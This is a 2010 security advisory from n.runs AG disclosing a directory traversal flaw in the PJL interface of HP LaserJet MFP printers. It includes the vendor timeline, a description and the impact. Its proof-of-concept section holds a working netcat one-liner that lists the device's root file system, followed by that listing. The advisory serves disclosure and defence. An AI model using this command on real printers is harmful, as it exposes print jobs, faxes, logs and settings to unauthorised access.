HP LaserJet – Directory Traversal in PJL Interface
n.runs AG http://www.nruns.com/ security(at)nruns.com n.runs-SA-2010.003 16-Nov-2010 ________________________________________________________________________ Vendor: Hewlett-Packard, http://www.hp.com Affected Products: Various HP LaserJet MFP devices (See HP advisory [3] for the complete list) Vulnerability: Directory Traversal in PJL interface Risk: HIGH ________________________________________________________________________ Vendor communication: 2009/11/25 Initial notification of Hewlett-Packard 2009/11/25 HP confirms receival of advisory 2010/02/05 n.runs AG requests update on the reported issue 2010/02/05 HP notifies n.runs AG that an advisory is in preparation 2010/11/15 Publication of HP advisory ________________________________________________________________________ Overview: The Printer Job Language (PJL) was developed by Hewlett-Packard to provide a method for switching printer languages at the job level and for status exchange between the device and a host computer. Besides the possibility to view and change parts of the printer's configuration or modify control panel messages PJL allows some limited form of file system access. PJL is used "above" other printer languages such as PCL and is usually accessible on port 9100. Detailed information about PJL can be found in the PJL Technical Reference Manual [1]. Description: A directory traversal vulnerability has been found in the PJL file system access interface of various HP LaserJet MFP devices. File system access through PJL is usually restricted to a specific part of the file system. Using a pathname such as 0:\..\..\..\ it is possible to get access to the complete file system of the device. Proof of Concept: The following command can be used to reproduce the problem. It lists all files in the root directoy of the device: $ python -c 'print "\x1b%-12345X () PJL FSDIRLIST NAME=\"0:\\..\\..\\..\\\" \ ENTRY=1 COUNT=999999\x0d\x0a\x1b%-12345X\x0d\x0a"' | nc 192.168.0.1 9100 @PJL FSDIRLIST NAME="0:\..\..\..\" ENTRY=1 . TYPE=DIR .. TYPE=DIR tmp TYPE=DIR etc TYPE=DIR xps TYPE=DIR dsk_ide2a TYPE=DIR dsk_ColorIQ TYPE=DIR dsk_CustomIQ TYPE=DIR bootdev TYPE=DIR dsk_jdi TYPE=DIR dsk_jdi_ss TYPE=DIR dsk_af TYPE=DIR lrt TYPE=DIR webServer TYPE=DIR Impact: This vulnerability allows sensitive information to be disclosed and potentially be modified. This includes spooled print jobs, received faxes, log files or other settings of the device. Solution: See the HP advisory [3] for possible workarounds. ________________________________________________________________________ Credit: Bug found by Moritz Jodeit of n.runs AG. ________________________________________________________________________ References: [1] http://h20000.www2.hp.com/bc/docs/support/SupportManual/bpl13208/bpl13208.pd f [2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4107 [3] http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c0200 4333 This Advisory and Upcoming Advisories: http://www.nruns.com/security_advisory.php ________________________________________________________________________ Unaltered electronic reproduction of this advisory is permitted. For all other reproduction or publication, in printing or otherwise, contact security () nruns com for permission. Use of the advisory constitutes acceptance for use in an "as is" condition. All warranties are excluded. In no event shall n.runs be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if n.runs has been advised of the possibility of such damages. Copyright 2010 n.runs AG. All rights reserved. Terms of use apply. |